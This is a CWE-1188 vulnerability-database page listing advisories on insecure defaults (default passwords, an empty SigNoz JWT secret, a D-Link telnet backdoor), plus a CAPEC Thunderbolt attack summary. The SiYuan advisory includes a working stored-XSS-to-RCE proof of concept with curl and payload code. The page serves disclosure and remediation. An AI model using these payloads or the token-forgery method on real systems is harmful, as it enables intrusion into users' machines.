CWE-1188
AllowedInitialization of a Resource with an Insecure Default
Abstraction: Base · Status: Incomplete
The product initializes or sets a resource with a default that is intended to be changed by the product's installer, administrator, or maintainer, but the default is not secure.
482 vulnerabilities reference this CWE, most recent first.
GHSA-M3J7-G6V4-2MP3
Vulnerability from github – Published: 2022-05-13 01:42 – Updated: 2022-05-13 01:42An issue was discovered on Siemens SICAM RTUs SM-2556 COM Modules with the firmware variants ENOS00, ERAC00, ETA2, ETLS00, MODi00, and DNPi00. The integrated web server (port 80/tcp) of the affected devices could allow unauthenticated remote attackers to execute arbitrary code on the affected device.
{
"affected": [],
"aliases": [
"CVE-2017-12739"
],
"database_specific": {
"cwe_ids": [
"CWE-1188"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-11-15T08:29:00Z",
"severity": "CRITICAL"
},
"details": "An issue was discovered on Siemens SICAM RTUs SM-2556 COM Modules with the firmware variants ENOS00, ERAC00, ETA2, ETLS00, MODi00, and DNPi00. The integrated web server (port 80/tcp) of the affected devices could allow unauthenticated remote attackers to execute arbitrary code on the affected device.",
"id": "GHSA-m3j7-g6v4-2mp3",
"modified": "2022-05-13T01:42:45Z",
"published": "2022-05-13T01:42:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-12739"
},
{
"type": "WEB",
"url": "https://www.siemens.com/cert/pool/cert/siemens_security_advisory_ssa-164516.pdf"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/101884"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-M4M6-2637-VQMM
Vulnerability from github – Published: 2026-09-30 18:33 – Updated: 2026-09-30 18:33In JetBrains YouTrack before 2026.2.18991 mailbox integration allowed authentication after a password reset
{
"affected": [],
"aliases": [
"CVE-2026-100260"
],
"database_specific": {
"cwe_ids": [
"CWE-1188"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-30T16:16:56Z",
"severity": "MODERATE"
},
"details": "In JetBrains YouTrack before 2026.2.18991 mailbox integration allowed authentication after a password reset",
"id": "GHSA-m4m6-2637-vqmm",
"modified": "2026-09-30T18:33:30Z",
"published": "2026-09-30T18:33:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-100260"
},
{
"type": "WEB",
"url": "https://www.jetbrains.com/privacy-security/issues-fixed"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-M5PJ-VJJF-4M3H
Vulnerability from github – Published: 2021-05-06 18:27 – Updated: 2021-05-04 22:57The package grunt before 1.3.0 are vulnerable to Arbitrary Code Execution due to the default usage of the function load() instead of its secure replacement safeLoad() of the package js-yaml inside grunt.file.readYAML.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "grunt"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-7729"
],
"database_specific": {
"cwe_ids": [
"CWE-1188"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-04T22:57:23Z",
"nvd_published_at": "2020-09-03T09:15:00Z",
"severity": "HIGH"
},
"details": "The package grunt before 1.3.0 are vulnerable to Arbitrary Code Execution due to the default usage of the function load() instead of its secure replacement safeLoad() of the package js-yaml inside grunt.file.readYAML.",
"id": "GHSA-m5pj-vjjf-4m3h",
"modified": "2021-05-04T22:57:23Z",
"published": "2021-05-06T18:27:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7729"
},
{
"type": "WEB",
"url": "https://github.com/gruntjs/grunt/commit/e350cea1724eb3476464561a380fb6a64e61e4e7"
},
{
"type": "WEB",
"url": "https://github.com/gruntjs/grunt/blob/master/lib/grunt/file.js%23L249"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2020/09/msg00008.html"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-607922"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-GRUNT-597546"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/4595-1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Arbitrary Code Execution in grunt"
}
GHSA-M6F8-WJ73-MHFJ
Vulnerability from github – Published: 2022-05-13 01:46 – Updated: 2025-04-20 03:32An issue was discovered in Schneider Electric Wonderware Historian 2014 R2 SP1 P01 and earlier. Wonderware Historian creates logins with default passwords, which can allow a malicious entity to compromise Historian databases. In some installation scenarios, resources beyond those created by Wonderware Historian may be compromised as well.
{
"affected": [],
"aliases": [
"CVE-2017-5155"
],
"database_specific": {
"cwe_ids": [
"CWE-1188"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-02-13T21:59:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in Schneider Electric Wonderware Historian 2014 R2 SP1 P01 and earlier. Wonderware Historian creates logins with default passwords, which can allow a malicious entity to compromise Historian databases. In some installation scenarios, resources beyond those created by Wonderware Historian may be compromised as well.",
"id": "GHSA-m6f8-wj73-mhfj",
"modified": "2025-04-20T03:32:49Z",
"published": "2022-05-13T01:46:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-5155"
},
{
"type": "WEB",
"url": "https://ics-cert.us-cert.gov/advisories/ICSA-17-024-01"
},
{
"type": "WEB",
"url": "http://software.schneider-electric.com/pdf/security-bulletin/lfsec00000115"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/95766"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1037808"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-M7R9-JQ4R-HMR3
Vulnerability from github – Published: 2026-09-24 03:30 – Updated: 2026-09-24 03:30SigNoz from v0.8.0 before v0.143.0 defaults the JWT tokenizer signing secret (tokenizer::jwt::secret, set via SIGNOZ_TOKENIZER_JWT_SECRET or the deprecated SIGNOZ_JWT_SECRET) to an empty string, and Config.Validate() does not reject the empty value, so a deployment that does not configure a secret starts up and both signs and verifies session tokens with an empty HMAC key. Because the JWT tokenizer was the default provider, any such deployment is affected. An unauthenticated attacker who knows the ID of an existing user can forge a valid session token for that user — including an administrator — by signing the id, orgId and email claims with an empty key; the organization ID (and whether an email is registered) can be obtained without authentication from /api/v2/sessions/context. A forged refresh token can be exchanged at /api/v2/sessions/rotate for a new token pair and cannot be revoked, so it remains usable for its full lifetime (30 days by default). Fixed in v0.143.0, which requires a JWT secret when the jwt provider is selected and changes the default provider to opaque.
{
"affected": [],
"aliases": [
"CVE-2026-97055"
],
"database_specific": {
"cwe_ids": [
"CWE-1188"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-24T02:16:54Z",
"severity": "CRITICAL"
},
"details": "SigNoz from v0.8.0 before v0.143.0 defaults the JWT tokenizer signing secret (tokenizer::jwt::secret, set via SIGNOZ_TOKENIZER_JWT_SECRET or the deprecated SIGNOZ_JWT_SECRET) to an empty string, and Config.Validate() does not reject the empty value, so a deployment that does not configure a secret starts up and both signs and verifies session tokens with an empty HMAC key. Because the JWT tokenizer was the default provider, any such deployment is affected. An unauthenticated attacker who knows the ID of an existing user can forge a valid session token for that user \u2014 including an administrator \u2014 by signing the id, orgId and email claims with an empty key; the organization ID (and whether an email is registered) can be obtained without authentication from /api/v2/sessions/context. A forged refresh token can be exchanged at /api/v2/sessions/rotate for a new token pair and cannot be revoked, so it remains usable for its full lifetime (30 days by default). Fixed in v0.143.0, which requires a JWT secret when the jwt provider is selected and changes the default provider to opaque.",
"id": "GHSA-m7r9-jq4r-hmr3",
"modified": "2026-09-24T03:30:27Z",
"published": "2026-09-24T03:30:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/SigNoz/signoz/security/advisories/GHSA-c26w-g4j8-39m2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-97055"
},
{
"type": "WEB",
"url": "https://github.com/SigNoz/signoz/commit/67895d366d"
},
{
"type": "WEB",
"url": "https://github.com/SigNoz/signoz/commit/b02aae2db3"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/signoz-before-0.143.0-authentication-bypass-via-empty-jwt-secret"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-M8GX-4W6Q-HF55
Vulnerability from github – Published: 2022-05-13 01:48 – Updated: 2022-05-13 01:48On D-Link DIR-550A and DIR-604M devices through v2.10KR, a malicious user can use a default TELNET account to get unauthorized access to vulnerable devices, aka a backdoor access vulnerability.
{
"affected": [],
"aliases": [
"CVE-2018-10968"
],
"database_specific": {
"cwe_ids": [
"CWE-1188"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-05-18T14:29:00Z",
"severity": "CRITICAL"
},
"details": "On D-Link DIR-550A and DIR-604M devices through v2.10KR, a malicious user can use a default TELNET account to get unauthorized access to vulnerable devices, aka a backdoor access vulnerability.",
"id": "GHSA-m8gx-4w6q-hf55",
"modified": "2022-05-13T01:48:59Z",
"published": "2022-05-13T01:48:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-10968"
},
{
"type": "WEB",
"url": "https://fortiguard.com/zeroday/FG-VD-18-061"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MC4H-8CXF-938R
Vulnerability from github – Published: 2022-05-24 17:40 – Updated: 2024-07-30 03:30An issue was discovered on TK-Star Q90 Junior GPS horloge 3.1042.9.8656 devices. It performs actions based on certain SMS commands. This can be used to set up a voice communication channel from the watch to any telephone number, initiated by sending a specific SMS and using the default password, e.g., pw,,call, triggers an outbound call from the watch. The password is sometimes available because of CVE-2019-20471.
{
"affected": [],
"aliases": [
"CVE-2019-20470"
],
"database_specific": {
"cwe_ids": [
"CWE-1188",
"CWE-284",
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-02-01T21:15:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered on TK-Star Q90 Junior GPS horloge 3.1042.9.8656 devices. It performs actions based on certain SMS commands. This can be used to set up a voice communication channel from the watch to any telephone number, initiated by sending a specific SMS and using the default password, e.g., pw,\u003cpassword\u003e,call,\u003cmobile_number\u003e triggers an outbound call from the watch. The password is sometimes available because of CVE-2019-20471.",
"id": "GHSA-mc4h-8cxf-938r",
"modified": "2024-07-30T03:30:50Z",
"published": "2022-05-24T17:40:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-20470"
},
{
"type": "WEB",
"url": "https://www.eurofins-cybersecurity.com/news/connected-devices-smart-watches"
},
{
"type": "WEB",
"url": "https://www.tk-star.com"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/Jul/14"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-MC93-WCPH-M2MX
Vulnerability from github – Published: 2022-05-24 17:28 – Updated: 2024-01-01 00:30A spoofing vulnerability manifests in Microsoft Xamarin.Forms due to the default settings on Android WebView version prior to 83.0.4103.106, aka 'Xamarin.Forms Spoofing Vulnerability'.
{
"affected": [],
"aliases": [
"CVE-2020-16873"
],
"database_specific": {
"cwe_ids": [
"CWE-1188"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-09-11T17:15:00Z",
"severity": "HIGH"
},
"details": "A spoofing vulnerability manifests in Microsoft Xamarin.Forms due to the default settings on Android WebView version prior to 83.0.4103.106, aka \u0027Xamarin.Forms Spoofing Vulnerability\u0027.",
"id": "GHSA-mc93-wcph-m2mx",
"modified": "2024-01-01T00:30:40Z",
"published": "2022-05-24T17:28:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-16873"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16873"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-MVJR-VV3C-W4QV
Vulnerability from github – Published: 2026-07-10 19:25 – Updated: 2026-07-10 19:25Summary
A CSS snippet body containing </style> breaks out of its surrounding <style> tag when renderSnippet() interpolates it via insertAdjacentHTML. A payload like </style><img src=x onerror="..."> runs arbitrary JavaScript in the renderer. On Electron desktop builds the renderer runs with nodeIntegration:true, so require('child_process') is reachable from the injected handler and the XSS chains to host RCE. Snippets sync via the workspace repository, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that pulls.
The bug also bypasses the user's enabledCSS / enabledJS separation. A user who turned enabledJS off was making a deliberate call not to run untrusted JavaScript; the CSS path runs it anyway.
Details
Affected:
- HEAD
96dfe0b(v3.6.5, 2026-04-21) - Sink:
app/src/config/util/snippets.ts:32 - Source:
/api/snippet/getSnippet, backed bydata/snippets/conf.json - Default config:
EnabledCSS: true,EnabledJS: trueatkernel/conf/snippet.go:26-27 - Electron config:
nodeIntegration:true,contextIsolation:false,webSecurity:falseon everyBrowserWindowinapp/electron/main.js:307,408-411,1107-1110,1150-1153,1322
The write path stores raw content. kernel/api/snippet.go:107-130 copies Content from the request straight into the snippet record with no HTML escape, no </style> check, no type-specific validation:
snippet := &conf.Snippet{
ID: m["id"].(string),
Name: m["name"].(string),
Type: m["type"].(string),
Content: m["content"].(string),
Enabled: m["enabled"].(bool),
}
Storage is workspace-internal and syncs. kernel/model/repository.go:1748,1798 reference data/snippets/conf.json, so the malicious record propagates to every sync peer.
The renderer reads the snippet back through /api/snippet/getSnippet and interpolates it into a <style> tag, raw. app/src/config/util/snippets.ts:32, called on app boot and on the reloadSnippet WebSocket event:
fetchPost("/api/snippet/getSnippet", {type: "all", enabled: 2}, (response) => {
response.data.snippets.forEach((item: ISnippet) => {
const id = `snippet${item.type === "css" ? "CSS" : "JS"}${item.id}`;
if (item.type === "css") {
document.head.insertAdjacentHTML("beforeend", `<style id="${id}">${item.content}</style>`);
} else if (item.type === "js") {
// intentional script-loading path
}
});
});
${item.content} lands inside the <style> tag. The HTML parser closes the style on the first </style> substring and treats anything after as a sibling of the empty <style> element.
Worth noting: the JS branch right after the CSS one already does the safe thing. It uses document.createElement("script") and sets el.text = item.content. That's a text-node assignment, no HTML parsing. The CSS branch just doesn't use the equivalent on a <style> element, and that's the bug.
Suggested fix
The cleanest fix mirrors what the JS branch already does. Build the element with createElement and set textContent:
if (item.type === "css") {
const el = document.createElement("style");
el.id = id;
el.textContent = item.content;
document.head.appendChild(el);
}
textContent on a <style> element populates the CSS rules without invoking the HTML parser, so </style> in the body is a 4-character text node instead of a close tag.
If touching that line is undesirable, the smaller patch is to escape < before interpolation:
const safe = item.content.replace(/[&<]/g, c => c === "&" ? "&" : "<");
document.head.insertAdjacentHTML("beforeend", `<style id="${id}">${safe}</style>`);
Either fix on its own closes the bug. Worth also rejecting </style> on the setSnippet backend handler so older renderers pulling the same synced workspace stay safe.
PoC
Stand up SiYuan:
docker run -d --name siyuan-poc \
-v ./workspace:/siyuan/workspace \
-p 16806:6806 \
b3log/siyuan:latest \
--workspace=/siyuan/workspace --accessAuthCode=hunter2
Plant the snippet:
TOKEN=$(jq -r '.api.token' workspace/conf/conf.json)
curl -X POST http://localhost:16806/api/snippet/setSnippet \
-H "Content-Type: application/json" \
-H "Authorization: Token $TOKEN" \
-d '{"snippets":[{"id":"","name":"poc","type":"css","enabled":true,"content":"</style><img src=x onerror=\"document.title=\\\"SIYUAN_XSS\\\";window.__siyuan_xss=true\">"}]}'
Returns {"code":0,"msg":"","data":null}. The snippet now sits at workspace/data/snippets/conf.json verbatim.
Open http://localhost:16806/stage/build/desktop/?r=1 or the Electron app pointing at the same workspace, authenticate, and run in DevTools:
({
markerFired: window.__siyuan_xss === true,
styleCount: document.querySelectorAll('style[id^="snippetCSS"]').length,
imgsInHead: document.head.querySelectorAll('img').length,
snippetStyleEmpty: document.querySelector('style[id^="snippetCSS"]')?.textContent.length === 0
})
Result from my run on 2026-05-19 against b3log/siyuan:latest:
{
"markerFired": true,
"styleCount": 1,
"imgsInHead": 1,
"snippetStyleEmpty": true
}
document.title is SIYUAN_XSS. The <style> exists but closed empty on the first </style>. The smuggled <img> is a sibling in <head>. The injected onerror ran arbitrary JS.
To turn it into RCE on Electron, swap the marker payload for:
<img src=x onerror="require('child_process').execSync('open /Applications/Calculator.app')">
require is reachable from the renderer because of nodeIntegration:true in app/electron/main.js:408.
Impact
Stored XSS to RCE on Electron desktop builds, plus XSS on mobile and Docker web builds.
The payload fires whenever the renderer refreshes snippets: on boot, on manual reload, or on a reloadSnippet WebSocket push. No user click required beyond having the app open.
Anyone affected by a workspace-write compromise is exposed. Realistic paths in: compromised SiYuan Cloud / S3 / WebDAV sync credentials, a workspace folder mounted on a shared filesystem (Dropbox, Syncthing, network share, git), or a multi-user Docker server where any authenticated user can call /api/snippet/setSnippet. Once the malicious snippet is in the workspace, every peer that syncs and has enabledCSS:true runs the payload.
The bug also silently bypasses the user's snippet-toggle intent. Someone who turned enabledJS off and left enabledCSS on was making a deliberate decision not to run untrusted JavaScript. The CSS path runs it anyway.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260628153353-2d5d72223df4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54067"
],
"database_specific": {
"cwe_ids": [
"CWE-1188",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-10T19:25:09Z",
"nvd_published_at": "2026-06-24T22:16:48Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nA CSS snippet body containing `\u003c/style\u003e` breaks out of its surrounding `\u003cstyle\u003e` tag when `renderSnippet()` interpolates it via `insertAdjacentHTML`. A payload like `\u003c/style\u003e\u003cimg src=x onerror=\"...\"\u003e` runs arbitrary JavaScript in the renderer. On Electron desktop builds the renderer runs with `nodeIntegration:true`, so `require(\u0027child_process\u0027)` is reachable from the injected handler and the XSS chains to host RCE. Snippets sync via the workspace repository, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that pulls.\n\nThe bug also bypasses the user\u0027s `enabledCSS` / `enabledJS` separation. A user who turned `enabledJS` off was making a deliberate call not to run untrusted JavaScript; the CSS path runs it anyway.\n\n### Details\n\nAffected:\n\n- HEAD `96dfe0b` (v3.6.5, 2026-04-21)\n- Sink: `app/src/config/util/snippets.ts:32`\n- Source: `/api/snippet/getSnippet`, backed by `data/snippets/conf.json`\n- Default config: `EnabledCSS: true`, `EnabledJS: true` at `kernel/conf/snippet.go:26-27`\n- Electron config: `nodeIntegration:true`, `contextIsolation:false`, `webSecurity:false` on every `BrowserWindow` in `app/electron/main.js:307,408-411,1107-1110,1150-1153,1322`\n\nThe write path stores raw content. `kernel/api/snippet.go:107-130` copies `Content` from the request straight into the snippet record with no HTML escape, no `\u003c/style\u003e` check, no type-specific validation:\n\n```go\nsnippet := \u0026conf.Snippet{\n ID: m[\"id\"].(string),\n Name: m[\"name\"].(string),\n Type: m[\"type\"].(string),\n Content: m[\"content\"].(string),\n Enabled: m[\"enabled\"].(bool),\n}\n```\n\nStorage is workspace-internal and syncs. `kernel/model/repository.go:1748,1798` reference `data/snippets/conf.json`, so the malicious record propagates to every sync peer.\n\nThe renderer reads the snippet back through `/api/snippet/getSnippet` and interpolates it into a `\u003cstyle\u003e` tag, raw. `app/src/config/util/snippets.ts:32`, called on app boot and on the `reloadSnippet` WebSocket event:\n\n```ts\nfetchPost(\"/api/snippet/getSnippet\", {type: \"all\", enabled: 2}, (response) =\u003e {\n response.data.snippets.forEach((item: ISnippet) =\u003e {\n const id = `snippet${item.type === \"css\" ? \"CSS\" : \"JS\"}${item.id}`;\n if (item.type === \"css\") {\n document.head.insertAdjacentHTML(\"beforeend\", `\u003cstyle id=\"${id}\"\u003e${item.content}\u003c/style\u003e`);\n } else if (item.type === \"js\") {\n // intentional script-loading path\n }\n });\n});\n```\n\n`${item.content}` lands inside the `\u003cstyle\u003e` tag. The HTML parser closes the style on the first `\u003c/style\u003e` substring and treats anything after as a sibling of the empty `\u003cstyle\u003e` element.\n\nWorth noting: the JS branch right after the CSS one already does the safe thing. It uses `document.createElement(\"script\")` and sets `el.text = item.content`. That\u0027s a text-node assignment, no HTML parsing. The CSS branch just doesn\u0027t use the equivalent on a `\u003cstyle\u003e` element, and that\u0027s the bug.\n\n#### Suggested fix\n\nThe cleanest fix mirrors what the JS branch already does. Build the element with `createElement` and set `textContent`:\n\n```ts\nif (item.type === \"css\") {\n const el = document.createElement(\"style\");\n el.id = id;\n el.textContent = item.content;\n document.head.appendChild(el);\n}\n```\n\n`textContent` on a `\u003cstyle\u003e` element populates the CSS rules without invoking the HTML parser, so `\u003c/style\u003e` in the body is a 4-character text node instead of a close tag.\n\nIf touching that line is undesirable, the smaller patch is to escape `\u003c` before interpolation:\n\n```ts\nconst safe = item.content.replace(/[\u0026\u003c]/g, c =\u003e c === \"\u0026\" ? \"\u0026amp;\" : \"\u0026lt;\");\ndocument.head.insertAdjacentHTML(\"beforeend\", `\u003cstyle id=\"${id}\"\u003e${safe}\u003c/style\u003e`);\n```\n\nEither fix on its own closes the bug. Worth also rejecting `\u003c/style\u003e` on the `setSnippet` backend handler so older renderers pulling the same synced workspace stay safe.\n\n### PoC\n\nStand up SiYuan:\n\n```bash\ndocker run -d --name siyuan-poc \\\n -v ./workspace:/siyuan/workspace \\\n -p 16806:6806 \\\n b3log/siyuan:latest \\\n --workspace=/siyuan/workspace --accessAuthCode=hunter2\n```\n\nPlant the snippet:\n\n```bash\nTOKEN=$(jq -r \u0027.api.token\u0027 workspace/conf/conf.json)\n\ncurl -X POST http://localhost:16806/api/snippet/setSnippet \\\n -H \"Content-Type: application/json\" \\\n -H \"Authorization: Token $TOKEN\" \\\n -d \u0027{\"snippets\":[{\"id\":\"\",\"name\":\"poc\",\"type\":\"css\",\"enabled\":true,\"content\":\"\u003c/style\u003e\u003cimg src=x onerror=\\\"document.title=\\\\\\\"SIYUAN_XSS\\\\\\\";window.__siyuan_xss=true\\\"\u003e\"}]}\u0027\n```\n\nReturns `{\"code\":0,\"msg\":\"\",\"data\":null}`. The snippet now sits at `workspace/data/snippets/conf.json` verbatim.\n\nOpen `http://localhost:16806/stage/build/desktop/?r=1` or the Electron app pointing at the same workspace, authenticate, and run in DevTools:\n\n```js\n({\n markerFired: window.__siyuan_xss === true,\n styleCount: document.querySelectorAll(\u0027style[id^=\"snippetCSS\"]\u0027).length,\n imgsInHead: document.head.querySelectorAll(\u0027img\u0027).length,\n snippetStyleEmpty: document.querySelector(\u0027style[id^=\"snippetCSS\"]\u0027)?.textContent.length === 0\n})\n```\n\nResult from my run on 2026-05-19 against `b3log/siyuan:latest`:\n\n```json\n{\n \"markerFired\": true,\n \"styleCount\": 1,\n \"imgsInHead\": 1,\n \"snippetStyleEmpty\": true\n}\n```\n\n`document.title` is `SIYUAN_XSS`. The `\u003cstyle\u003e` exists but closed empty on the first `\u003c/style\u003e`. The smuggled `\u003cimg\u003e` is a sibling in `\u003chead\u003e`. The injected `onerror` ran arbitrary JS.\n\nTo turn it into RCE on Electron, swap the marker payload for:\n\n```html\n\u003cimg src=x onerror=\"require(\u0027child_process\u0027).execSync(\u0027open /Applications/Calculator.app\u0027)\"\u003e\n```\n\n`require` is reachable from the renderer because of `nodeIntegration:true` in `app/electron/main.js:408`.\n\n### Impact\n\nStored XSS to RCE on Electron desktop builds, plus XSS on mobile and Docker web builds.\n\nThe payload fires whenever the renderer refreshes snippets: on boot, on manual reload, or on a `reloadSnippet` WebSocket push. No user click required beyond having the app open.\n\nAnyone affected by a workspace-write compromise is exposed. Realistic paths in: compromised SiYuan Cloud / S3 / WebDAV sync credentials, a workspace folder mounted on a shared filesystem (Dropbox, Syncthing, network share, git), or a multi-user Docker server where any authenticated user can call `/api/snippet/setSnippet`. Once the malicious snippet is in the workspace, every peer that syncs and has `enabledCSS:true` runs the payload.\n\nThe bug also silently bypasses the user\u0027s snippet-toggle intent. Someone who turned `enabledJS` off and left `enabledCSS` on was making a deliberate decision not to run untrusted JavaScript. The CSS path runs it anyway.",
"id": "GHSA-mvjr-vv3c-w4qv",
"modified": "2026-07-10T19:25:09Z",
"published": "2026-07-10T19:25:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-mvjr-vv3c-w4qv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54067"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "SiYuan: Stored XSS to RCE via CSS-snippet \u003cstyle\u003e breakout in renderSnippet()"
}
GHSA-MXP6-GC8G-J2P9
Vulnerability from github – Published: 2023-10-04 06:30 – Updated: 2023-11-24 09:30On an msdosfs filesystem, the 'truncate' or 'ftruncate' system calls under certain circumstances populate the additional space in the file with unallocated data from the underlying disk device, rather than zero bytes.
This may permit a user with write access to files on a msdosfs filesystem to read unintended data (e.g. from a previously deleted file).
{
"affected": [],
"aliases": [
"CVE-2023-5368"
],
"database_specific": {
"cwe_ids": [
"CWE-1188"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-04T04:15:14Z",
"severity": "MODERATE"
},
"details": "On an msdosfs filesystem, the \u0027truncate\u0027 or \u0027ftruncate\u0027 system calls under certain circumstances populate the additional space in the file with unallocated data from the underlying disk device, rather than zero bytes.\n\nThis may permit a user with write access to files on a msdosfs filesystem to read unintended data (e.g. from a previously deleted file).",
"id": "GHSA-mxp6-gc8g-j2p9",
"modified": "2023-11-24T09:30:27Z",
"published": "2023-10-04T06:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5368"
},
{
"type": "WEB",
"url": "https://dfir.ru/2023/11/01/bringing-unallocated-data-back-the-fat12-16-32-case"
},
{
"type": "WEB",
"url": "https://security.FreeBSD.org/advisories/FreeBSD-SA-23:12.msdosfs.asc"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20231124-0004"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.